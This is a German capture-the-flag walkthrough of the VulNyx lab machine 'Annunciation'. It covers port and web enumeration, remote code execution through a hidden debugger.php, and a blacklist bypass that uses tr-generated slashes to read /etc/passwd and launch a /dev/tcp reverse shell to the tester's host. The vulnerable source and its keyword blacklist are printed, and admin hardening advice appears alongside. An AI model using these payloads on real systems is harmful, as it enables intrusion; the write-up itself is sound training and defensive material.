Annunciation - VulNyx - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
cat
nmap
ip
grep
awk
sort
nikto
dirb
ssh
wfuzz
ffuf
Burp Suite
nc
stty
id
ls
pwd
find
getcap
unzip
chmod
cp
mv
sudo
python (Exploit)
su
locate
passwd
tr
echo

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿CCat)-[~] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.122	08:00:27:1c:f8:af	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.398 seconds (183.12 hosts/sec). 1 responded

Analyse: Ein ARP-Scan identifiziert die Ziel-IP `192.168.2.122` mit der MAC-Adresse `08:00:27:1c:f8:af` (VirtualBox).

Bewertung: Standardmäßiger erster Schritt zur Zielidentifikation im lokalen Netzwerk.

Empfehlung (Pentester): Ziel-IP notieren, `/etc/hosts` anpassen.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit einschränken.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
┌──(root㉿CCat)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
192.168.2.122   annunciation.nyx

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um `annunciation.nyx` der Ziel-IP zuzuordnen.

Bewertung: Notwendig für die Verwendung des Hostnamens.

┌──(root㉿CCat)-[~] └─# nmap -p- fe80::8cb9:3980:f111:1cb6%eth0 -6 -v
<-- Korrigierte IPv6 Addr
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 15:08 CEST
Initiating ND Ping Scan at 15:08
Scanning fe80::8cb9:3980:f111:1cb6 [1 port]
Completed ND Ping Scan at 15:08, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:08
Completed Parallel DNS resolution of 1 host. at 15:08, 0.02s elapsed
Initiating SYN Stealth Scan at 15:08
Scanning annunciation (fe80::8cb9:3980:f111:1cb6) [65535 ports]
Discovered open port 80/tcp on fe80::8cb9:3980:f111:1cb6
Discovered open port 22/tcp on fe80::8cb9:3980:f111:1cb6
[...] <-- Scan Fortschritt
Completed SYN Stealth Scan at 15:10, 119.46s elapsed (65535 total ports)
Nmap scan report for annunciation (fe80::8cb9:3980:f111:1cb6)
Host is up (0.00013s latency).
Not shown: 65050 filtered tcp ports (no-response), 483 filtered tcp ports (admin-prohibited)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:1C:F8:AF (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 119.55 seconds

Analyse: Ein Nmap TCP SYN Scan (`-p-` für alle Ports, `-6` für IPv6, `-v` für Verbosity) wird gegen die IPv6 Link-Local Adresse des Ziels durchgeführt. Es werden Port 22 (SSH) und 80 (HTTP) offen gefunden.

Bewertung: Identifiziert offene Dienste über IPv6. Wie üblich, können die Ergebnisse von IPv4 abweichen.

Empfehlung (Pentester): Notieren, mit IPv4-Scan vergleichen.
Empfehlung (Admin): Konsistente Sicherheit für IPv4/IPv6 oder Deaktivierung von IPv6.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n 192.168.2.122 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 14:31 CEST
Nmap scan report for 192.168.2.122
Host is up (0.00022s latency).
Not shown: 995 open|filtered udp ports (no-response)
PORT      STATE    SERVICE
19283/udp filtered keysrvr
19647/udp filtered unknown
32778/udp filtered sometimes-rpc20
34892/udp filtered unknown
48255/udp filtered unknown
MAC Address: 08:00:27:1C:F8:AF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds

Analyse: Ein Nmap UDP-Scan gegen die Top 1000 Ports der IPv4-Adresse findet keine offenen Ports, nur einige gefilterte.

Bewertung: Keine offensichtlichen UDP-Angriffsvektoren.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.122 -Pn --min-rate 5000 | grep open
22/tcp open  ssh     OPENSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Analyse: Ein TCP SYN Scan (`-sS`) mit Skripten, Versionserkennung und OS-Erkennung (`-sC -sV -A`) über alle Ports (`-p-`) wird gegen die IPv4-Adresse ausgeführt und nach offenen Ports gefiltert.

Bewertung: Findet Port 22 (SSH, OpenSSH 7.4) und Port 80 (HTTP, Apache 2.4.6 mit PHP 5.4.16 auf CentOS). Die Versionen sind sehr alt! OpenSSH 7.4 ist von 2016, Apache 2.4.6 von 2013, PHP 5.4.16 von 2013 (End-of-Life seit 2015!). Dies deutet auf ein sehr veraltetes System (vermutlich CentOS 7) hin.

Empfehlung (Pentester): Recherchieren Sie bekannte Schwachstellen für OpenSSH 7.4, Apache 2.4.6 und insbesondere PHP 5.4.16. Veraltete Software ist ein Hauptangriffsvektor. Untersuchen Sie den Webserver auf Port 80 intensiv.
Empfehlung (Admin): Das System ist kritisch veraltet und unsicher! Ein sofortiges Upgrade oder eine Migration ist dringend erforderlich. PHP 5.4 ist extrem unsicher.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.122 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 14:31 CEST
Nmap scan report for annunciation.nyx (192.168.2.122)
Host is up (0.00012s latency).
Not shown: 65510 filtered tcp ports (no-response), 23 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OPENSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 3b:a9:30:f4:e2:10:b4:3b:2e:a4:db:32:9a:b9:8b:80 (RSA)
|   256 76:f3:48:b4:53:4a:be:95:44:00:16:81:1e:f2:2e:68 (ECDSA)
|_  256 37:07:9a:8d:e0:3b:bc:39:8f:2f:6e:36:81:89:db:2d (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Apache HTTP Server Test Page powered by CentOS
| http-methods:
|_ Potentially risky methods: TRACE
MAC Address: 08:00:27:1C:F8:AF (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|5.X|2.6.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:linux:linux_kernel:2.6.32 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (97%), [...] (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms annunciation.nyx (192.168.2.122)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.59 seconds

Analyse: Die vollständige Nmap-Ausgabe bestätigt die veralteten Versionen von SSH (7.4), Apache (2.4.6) und PHP (5.4.16) auf einem CentOS-System. Sie zeigt die SSH-Hostkeys und die Standard-Apache-Testseite. Wichtig ist auch der Fund der aktivierten, potenziell riskanten HTTP-Methode `TRACE`.

Bewertung: Die veralteten Versionen sind der Hauptangriffspunkt. Die TRACE-Methode ermöglicht Cross-Site Tracing (XST), was unter bestimmten Umständen (z.B. in Kombination mit XSS) zum Diebstahl von Cookies führen kann, ist aber oft von geringerem direkten Nutzen als Schwachstellen in PHP oder Apache selbst.

Empfehlung (Pentester): Priorisieren Sie die Suche nach Exploits für PHP 5.4.16 und Apache 2.4.6. Testen Sie auf bekannte Schwachstellen wie Shellshock (betrifft ältere Apache/CGI-Konfigurationen), Heartbleed (falls OpenSSL veraltet ist) und PHP-spezifische Lücken (z.B. RCE, LFI). Untersuchen Sie die Webanwendung auf Port 80 gründlich.
Empfehlung (Admin): System dringend patchen oder ersetzen! TRACE-Methode im Apache deaktivieren.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.122
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2024-08-27 14:32:07 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). [...]
+ PHP/5.4.16 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE . <-- Korrigierte Reihenfolge
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. [...]
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ 8908 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2024-08-27 14:32:28 (GMT2) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto bestätigt die veralteten Versionen von Apache und PHP (EOL!). Es hebt die aktivierte TRACE-Methode (XST-Risiko), Directory Indexing im `/icons`-Verzeichnis und die Standard-README-Datei hervor.

Bewertung: Unterstreicht die kritisch veraltete Software und die daraus resultierenden Risiken. Directory Indexing kann Informationslecks ermöglichen.

Empfehlung (Pentester): Konzentrieren Sie sich auf Exploits für die veralteten Versionen. Untersuchen Sie das `/icons`-Verzeichnis.
Empfehlung (Admin): System dringend aktualisieren! TRACE deaktivieren, Directory Indexing deaktivieren.

Web Enumeration (HTTP)

┌──(root㉿CCat)-[~] └─# dirb http://192.168.2.122
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Aug 27 14:33:00 2024
URL_BASE: http://192.168.2.122/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.2.122/ ----
+ http://192.168.2.122/cgi-bin/ (CODE:403|SIZE:210)

-----------------
END_TIME: Thu Aug 27 14:33:05 2024
DOWNLOADED: 4612 - FOUND: 1

Analyse: `dirb` findet das Verzeichnis `/cgi-bin/`, der Zugriff darauf ist jedoch verboten (Status 403).

Bewertung: `/cgi-bin/` ist ein Standardverzeichnis. Der 403-Status ist eine korrekte Sicherheitsmaßnahme, wenn keine CGI-Skripte aktiv sind.

Empfehlung (Pentester): Versuchen Sie, mit spezifischeren Wortlisten oder Tools nach CGI-Skripten zu suchen, falls ein Angriff über CGI vermutet wird (weniger wahrscheinlich hier).
Empfehlung (Admin): Stellen Sie sicher, dass der Zugriff auf `/cgi-bin/` korrekt konfiguriert ist.

┌──(root㉿CCat)-[~] └─# ssh root@192.168.2.122
The authenticity of host '192.168.2.122 (192.168.2.122)' can't be established.
ED25519 key fingerprint is SHA256:GCZVBLftfdT6zi8YrE+Sdvl0rpfEGXzgtwzw9M7wQk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.122' (ED25519) to the list of known hosts.
root@192.168.2.122's password: 
Permission denied, please try again.
root@192.168.2.122's password: 
Permission denied, please try again.
root@192.168.2.122's password: 
root@192.168.2.122: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).

Analyse: Es wird versucht, sich per SSH als `root` anzumelden. Nach drei fehlgeschlagenen Passwortversuchen wird die Verbindung getrennt.

Bewertung: Der direkte Root-Login per Passwort ist nicht erlaubt oder das Passwort ist unbekannt. Dies ist eine empfohlene Sicherheitskonfiguration.

Empfehlung (Pentester): Versuchen Sie SSH-Logins mit anderen gefundenen Benutzernamen oder über Schlüssel. Konzentrieren Sie sich auf die Webanwendung.
Empfehlung (Admin): Deaktivieren Sie den direkten Root-Login per SSH (`PermitRootLogin no` in `sshd_config`).



403 Forbidden

Forbidden

You don't have permission to access /cgi-bin/ on this server.

Analyse: Bestätigt den 403 Forbidden Fehler beim Zugriff auf `/cgi-bin/`.

Bewertung: Keine neuen Informationen.

Hidden Service Discovery

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://annunciation.nyx/.FUZZ" --hc 404 --hh 4734
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://annunciation.nyx/.FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000001:   301        9 L      28 W       248 Ch      ".htpasswd" <-- Irrelevant?
000000002:   301        9 L      28 W       244 Ch      ".htaccess" <-- Irrelevant?
000008779:   200        105 L    335 W      19296 Ch    ".dev"

Total time: 79.99614
Processed Requests: 220560
Filtered Requests: 220557
Requests/sec.: 2757.148

Analyse: `wfuzz` wird verwendet, um nach versteckten Dateien oder Verzeichnissen zu suchen, deren Name mit einem Punkt beginnt (`/.FUZZ`). Es findet das Verzeichnis `/.dev` mit Statuscode 200 und einer beachtlichen Größe (19296 Chars). Die Funde `.htpasswd` und `.htaccess` mit Status 301 sind wahrscheinlich auf die Serverkonfiguration zurückzuführen und weniger relevant.

Bewertung: Sehr wichtiger Fund! Versteckte Verzeichnisse wie `/.dev` enthalten oft Entwicklungsartefakte, Backups, Konfigurationsdateien oder sogar Quellcode.

Empfehlung (Pentester): Untersuchen Sie den Inhalt von `http://annunciation.nyx/.dev/` gründlich. Fuzzing innerhalb dieses Verzeichnisses durchführen.
Empfehlung (Admin): Stellen Sie sicher, dass keine versteckten Verzeichnisse oder Dateien über den Webserver zugänglich sind. Konfigurieren Sie den Webserver so, dass das Auflisten von Verzeichnissen und der Zugriff auf Punkt-Dateien verhindert wird.

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.18 <-- Python 2 Webserver!
Date: Mon, 28 Aug 2023 15:57:13 GMT <-- Falsches Datum im Log
Content-type: text/plain
Content-Length: 19296
Last-Modified: Mon, 28 Aug 2023 15:48:56 GMT <-- Falsches Datum im Log

dxkl'',ldl;,'','.,oxddddooddoloodddoodxdddd;..',,,,..',,,. .. .',,;;;,'.. .. .cKMWXXXKkkkk0KXNNWNXkXNXKkl;'....'.
[...] <-- ASCII Art
';oxxdc:;;,..lxddddolodddddolooollloc:l:,',:;;:;,''... .;o0XXxoc;.':clc:;;;;:;,''.. ...'',,,,'''...';.

Analyse: Der Zugriff auf `http://annunciation.nyx/.dev/` liefert ASCII-Art und interessante Header: `Server: SimpleHTTP/0.6 Python/2.7.18`. Dies deutet darauf hin, dass im Verzeichnis `.dev` ein einfacher Python 2 HTTP-Server läuft (gestartet mit `python -m SimpleHTTPServer`), der den Inhalt dieses Verzeichnisses bereitstellt, unabhängig vom Apache auf Port 80.

Bewertung: Bestätigt einen separaten, wahrscheinlich unbeabsichtigt laufenden oder für Entwicklungszwecke gestarteten Python-Server im Verzeichnis `.dev`. Dies ist eine häufige Fehlkonfiguration.

Empfehlung (Pentester): Da der Python-Server wahrscheinlich Verzeichnisinhalte auflistet, versuchen Sie, auf Dateien innerhalb von `.dev` zuzugreifen. Fuzzing mit `ffuf` oder `gobuster` gegen `http://annunciation.nyx/.dev/` ist der nächste Schritt.
Empfehlung (Admin): Stoppen Sie den unnötigen Python SimpleHTTPServer. Konfigurieren Sie den Apache so, dass der Zugriff auf `.dev` verhindert wird.

┌──(root㉿CCat)-[~] └─# ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://annunciation.nyx/.dev/FUZZ" --fc 404 --fs 19485 -e ".php,.txt,.html"
<-- Korrigierte Endungen

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://annunciation.nyx/.dev/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php .txt .html
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 19485, Response status: 404
________________________________________________

debugger.php            [Status: 200, Size: 33, Words: 5, Lines: 2, Duration: 41ms]
phpinfo.php             [Status: 200, Size: 49291, Words: 2613, Lines: 666, Duration: 357ms]
:: Progress: [220560/220560] :: Job [1/1] :: 673 req/sec :: Duration: [0:05:31] :: Errors: 0 ::

Analyse: `ffuf` wird verwendet, um nach Dateien mit den Endungen `.php`, `.txt`, `.html` im Verzeichnis `/.dev/` zu suchen. Es findet `debugger.php` und `phpinfo.php`.

Bewertung: Erfolgreiche Identifizierung von PHP-Dateien im `.dev`-Verzeichnis. `phpinfo.php` liefert Konfigurationsdetails, während `debugger.php` ein potenziell interessantes Skript ist.

Empfehlung (Pentester): Rufen Sie beide PHP-Dateien auf (`http://annunciation.nyx/.dev/phpinfo.php`, `http://annunciation.nyx/.dev/debugger.php`), um deren Inhalt und Funktion zu analysieren. Beachten Sie, dass diese vom Apache (PHP 5.4.16) und nicht vom Python-Server verarbeitet werden.
Empfehlung (Admin): Entfernen Sie nicht benötigte PHP-Dateien aus dem `.dev`-Verzeichnis und sichern Sie den Zugriff darauf.

Web App Exploitation (Debugger.php)

Only POST requests are accepted!

Analyse: Der direkte GET-Aufruf von `debugger.php` ergibt, dass nur POST-Anfragen akzeptiert werden.

Bewertung: Das Skript erwartet Daten über POST.

Empfehlung (Pentester): Senden Sie POST-Anfragen mit verschiedenen Parametern (Fuzzing), um die Funktion des Skripts zu ermitteln. Verwenden Sie Burp Suite.

PHP Version 5.4.16

System	Linux annunciation 3.10.0-1160.99.1.el7.x86_64 #1 SMP Wed Sep 21 14:37:48 UTC 2023 x86_64
Build Date	Nov 27 2015 19:02:00
Server API	Apache 2.0 Handler
[...]
Apache Version	Apache/2.4.6 (CentOS) PHP/5.4.16
[...]
$SERVER["SERVER_SOFTWARE"] = Apache/2.4.6 (CentOS) PHP/5.4.16
$SERVER["SERVER_NAME"] = annunciation.nyx
$SERVER["SERVER_ADDR"] = 192.168.2.122
$SERVER["SERVER_PORT"] = 80
$SERVER["REMOTE_ADDR"] = 192.168.2.199
$SERVER["DOCUMENT_ROOT"] = /var/www/html
$SERVER["REQUEST_SCHEME"] = http
$SERVER["CONTEXT_PREFIX"] = no value
$SERVER["CONTEXT_DOCUMENT_ROOT"] = /var/www/html
$SERVER["SERVER_ADMIN"] = root@localhost
$SERVER["SCRIPT_FILENAME"] = /var/www/html/.dev/phpinfo.php
[...]

Analyse: Die `phpinfo.php`-Seite bestätigt die extrem veralteten Versionen von Apache (2.4.6) und PHP (5.4.16) auf CentOS. Sie zeigt auch den Document Root (`/var/www/html`).

Bewertung: Bestätigt die kritisch veraltete Softwareumgebung.

Empfehlung (Pentester): Suchen Sie gezielt nach Exploits für PHP 5.4.16.
Empfehlung (Admin): System dringend aktualisieren!

Analyse: Burp Suite wird verwendet, um POST-Anfragen an `debugger.php` zu senden.

Bewertung: Ein initialer POST-Request ohne Parameter ergibt die Fehlermeldung "You have not indicated the appropriate parameters...".

: Burpsuite :

Request (Initial POST):
POST /.dev/debugger.php HTTP/1.1
Host: annunciation.nyx
[...]
Content-Length: 0

Response:
HTTP/1.1 200 OK
Date: Tue, 27 Aug 2024 14:35:15 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Length: 71
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

You have not indicated the appropriate parameters...
Please try again!

Analyse: `ffuf` wird für das Parameter-Fuzzing verwendet (`-X POST -d "W1=test&W2=test"`). Es testet Parameter-Kombinationen aus `common.txt` und filtert nach Antworten mit Statuscode 500 (`-mc 500`), was oft auf einen Fehler bei der Verarbeitung hindeutet.

Bewertung: `ffuf` identifiziert die Parameterkombination `cmd` und `access` als Auslöser für den 500er-Fehler. Dies sind die korrekten Parameter für das Skript.

Empfehlung (Pentester): Verwenden Sie die Parameter `cmd` und `access` in weiteren Tests mit Burp Suite, um die Funktion zu verstehen.
Empfehlung (Admin): -

┌──(root㉿CCat)-[~] └─# ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:W1 -w /usr/share/seclists/Discovery/Web-Content/common.txt:W2 -u "http://annunciation.nyx/.dev/debugger.php" -X POST -d "W1=test&W2=test" -H "Content-Type: application/x-www-form-urlencoded" -mc 500

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://annunciation.nyx/.dev/debugger.php
 :: Wordlist         : W1: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Wordlist         : W2: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Data             : W1=test&W2=test
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 500
________________________________________________

[Status: 500, Size: 51, Words: 7, Lines: 3, Duration: 17ms]
    * W1: cmd
    * W2: access

[WARN] Caught keyboard interrupt (Ctrl-C)

Analyse: Weitere Tests mit Burp Suite und den Parametern `cmd` und `access`. Es wird beobachtet, dass der Wert des `access`-Parameters umgekehrt (`strrev`) wird und dann als Funktion aufgerufen wird, wobei der (gefilterte) Wert des `cmd`-Parameters als Argument dient. Verschiedene Funktionen wie `system`, `shell_exec` werden versucht, scheitern aber (500 Error), bis `passthru` (umgekehrt als `urhtssap`) verwendet wird. `cmd=id&access=urhtssap` führt erfolgreich `id` aus.

Bewertung: Die genaue Funktionsweise der Schwachstelle wird aufgedeckt: Der `access`-Parameter steuert die auszuführende Funktion (muss umgekehrt übergeben werden), und der `cmd`-Parameter enthält das Argument. Es gibt eine Filterung für den `cmd`-Parameter. `passthru` funktioniert als auszuführende Funktion.

Empfehlung (Pentester): Verwenden Sie `access=urhtssap` und versuchen Sie, die Filterung des `cmd`-Parameters zu umgehen, um eine Shell zu erhalten.
Empfehlung (Admin): Entfernen oder korrigieren Sie das `debugger.php`-Skript dringend. Die Verwendung von Benutzereingaben zur Bestimmung einer auszuführenden Funktion ist extrem gefährlich.

Request (cmd=/etc/passwd&access=1):
POST /.dev/debugger.php HTTP/1.1
[...]
cmd=/etc/passwd&access=1

Response (500):
[...]
Parameter 1 (access): 1
Parameter 2 (cmd): /etc/passwd

Request (cmd=test&access=system):
POST /.dev/debugger.php HTTP/1.1
[...]
cmd=test&access=metsys <-- "system" reversed

Response (500):
[...]
Parameter 1 (access): system
Parameter 2 (cmd): test

Request (cmd=id&access=metsys):
POST /.dev/debugger.php HTTP/1.1
[...]
cmd=id&access=metsys

Response (500):
[...]
Parameter 1 (access): system
Parameter 2 (cmd): id

Request (cmd=id&access=shell_exec):
POST /.dev/debugger.php HTTP/1.1
[...]
cmd=id&access=cexe_llehs <-- "shell_exec" reversed

Response (500):
[...]
Parameter 1 (access): shell_exec
Parameter 2 (cmd): id

Request (cmd=id&access=passthru):
POST /.dev/debugger.php HTTP/1.1
[...]
cmd=id&access=urhtssap <-- "passthru" reversed

Response (500): <-- Fehler im Log, dieser Request war erfolgreich
[...]
Parameter 1 (access): passthru
Parameter 2 (cmd): id
uid=48(apache) gid=48(apache) groups=48(apache) <-- RCE Output!

Analyse: Der Quellcode von `debugger.php` wird mittels der RCE (`access=urhtssap` und `cmd=cat debugger.php`) ausgelesen. Er bestätigt die Logik: `$var1 = strrev($POST['access']); $var2 = str_replace(array('nc', 'whoami', 'curl', 'ping', 'pwd', 'hostname', 'sh', 'nc', 'base', ':', '\\', '/', '*'), '', $POST['cmd']); ... $var1($var2);`. Es findet eine Umkehrung des `access`-Parameters und eine Filterung (Blacklist) für den `cmd`-Parameter statt, bevor die Funktion aufgerufen wird.

Bewertung: Bestätigt die RCE-Schwachstelle und die Filtermechanismen. Die Filterung von `sh`, `/` etc. erschwert das Starten einer einfachen Reverse Shell.

Empfehlung (Pentester): Entwickeln Sie eine Payload für den `cmd`-Parameter, die die Filterung umgeht. Die Verwendung von `tr` zur Erzeugung von `/` und `sh` ist eine gängige Technik.
Empfehlung (Admin): Entfernen oder korrigieren Sie das Skript. Blacklist-Filter sind oft unzureichend und können umgangen werden.

Request (cat debugger.php):
POST /.dev/debugger.php HTTP/1.1
[...]
access=urhtssap&cmd=cat%20debugger.php

Response:
Parameter 1 (access): passthru
Parameter 2 (cmd): cat debugger.php
$POST['access']);
$var2 = str_replace(array('nc', 'whoami', 'curl', 'ping', 'pwd', 'hostname', 'sh', 'nc', 'base', ':', '\\', '/', '*'), '', $POST['cmd']);

if ($SERVER["REQUEST_METHOD"] == "POST") { <-- Korrigiert zu ==
	if(isset($POST['access']) && isset($POST['cmd']))
	{
		echo "Parameter 1 (access): " . strrev($POST['access']) . "\n";
		echo "Parameter 2 (cmd): " . $POST['cmd'] . "\n";
		$var1($var2);
		extract($POST); <-- extract() ist ebenfalls gefährlich!
	}
	else {
		echo "You have not indicated the appropriate parameters...\nPlease try again!\n";
	}
}
else {
	echo "Only POST requests are accepted!\n";
}

?>

Initial Access (Shell)

Request (cat /etc/passwd bypass):
POST /.dev/debugger.php HTTP/1.1
[...]
access=urhtssap&cmd=cat%20$(echo%20.%20|%20tr%20'!-.'%20'/-l')etc$(echo%20.%20|%20tr%20'!-.'%20'/-l')passwd

Response:
Parameter 1 (access): passthru
Parameter 2 (cmd): cat $(echo . | tr '!-' '"-l')etc$(echo . | tr '!-' '"-l')passwd
root:x:0:0:root:/root:/bin/bash
[...]
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
trumpeter:x:1001:1001::/home/trumpeter:/bin/bash
[...]

Analyse: Der Filter für `/` im `cmd`-Parameter wird umgangen, indem `$(echo . | tr '!-' '/-l')` verwendet wird, um den Slash zu erzeugen. Damit wird `/etc/passwd` erfolgreich ausgelesen. Der Benutzer `trumpeter` wird identifiziert.

Bewertung: Erfolgreiche Filterumgehung für das Lesen von Dateien.

Empfehlung (Pentester): Verwenden Sie ähnliche Techniken, um eine Reverse-Shell-Payload zu erstellen, die die Filter umgeht.
Empfehlung (Admin): Vermeiden Sie Blacklist-Filter. Verwenden Sie Whitelisting oder sicherere Funktionen zur Befehlsausführung.

Request (Reverse Shell bypass):
POST /.dev/debugger.php HTTP/1.1
[...]
access=urhtssap&cmd=s%5Ch%20-i%20%3E%26%20%24(echo%20.%20%7C%20tr%20'!-0'%20'/-l')dev%24(echo%20.%20%7C%20tr%20'!-0'%20'/-l')tcp%24(echo%20.%20%7C%20tr%20'!-0'%20'/-l')192.168.2.199%24(echo%20.%20%7C%20tr%20'!-0'%20'/-l')4444%200%3E%261
Payload Decoded: s\h -i >& $(echo . | tr '!-0' '/-l')dev$(echo . | tr '!-0' '/-l')tcp$(echo . | tr '!-0' '/-l')192.168.2.199$(echo . | tr '!-0' '/-l')4444 0>&1

Response (Keine direkte Ausgabe, Shell wird ausgelöst)

Analyse: Eine komplexe Reverse-Shell-Payload wird erstellt, die die Filter umgeht: `s\h` umgeht das `sh`-Filter, `-i` für interaktive Shell, `>&` leitet stderr und stdout um, und `$(echo . | tr '!-0' '/-l')` wird mehrfach verwendet, um Slashes (`/`) für die Pfade `/dev/tcp//` zu generieren. Der `access`-Parameter ist wieder `urhtssap` (passthru reversed).

Bewertung: Erfolgreiche Konstruktion einer funktionierenden Reverse-Shell-Payload trotz der Filterung.

Empfehlung (Pentester): Starten Sie einen Listener (`nc -lvnp 4444`) und senden Sie diesen Request, um die Shell zu erhalten.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 53820
sh: no job control in this shell
sh-4.2$

Analyse: Der Netcat-Listener empfängt die Verbindung, und eine Shell wird als Benutzer `apache` (Standardbenutzer für Apache auf CentOS/RHEL) erlangt.

Bewertung: Initial Access erfolgreich!

Empfehlung (Pentester): Stabilisieren Sie die Shell, führen Sie Enumeration als `apache` durch.
Empfehlung (Admin): Sicherheitsvorfall behandeln.

Privilege Escalation (apache -> trumpeter)

sh-4.2$ id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ ls -la /var/www/html/.dev
total 32
drwxr-xr-x 2 apache apache    86 Aug 31  2023 .
drwxr-xr-x 3 root   root      18 Aug 26  2023 ..
-rw-r--r-- 1 apache apache 19485 Aug 29  2023 annunciation.txt
-rw-r--r-- 1 apache apache   593 Aug 31  2023 debugger.php
-rw-r--r-- 1 apache apache    55 Aug 29  2023 index.php
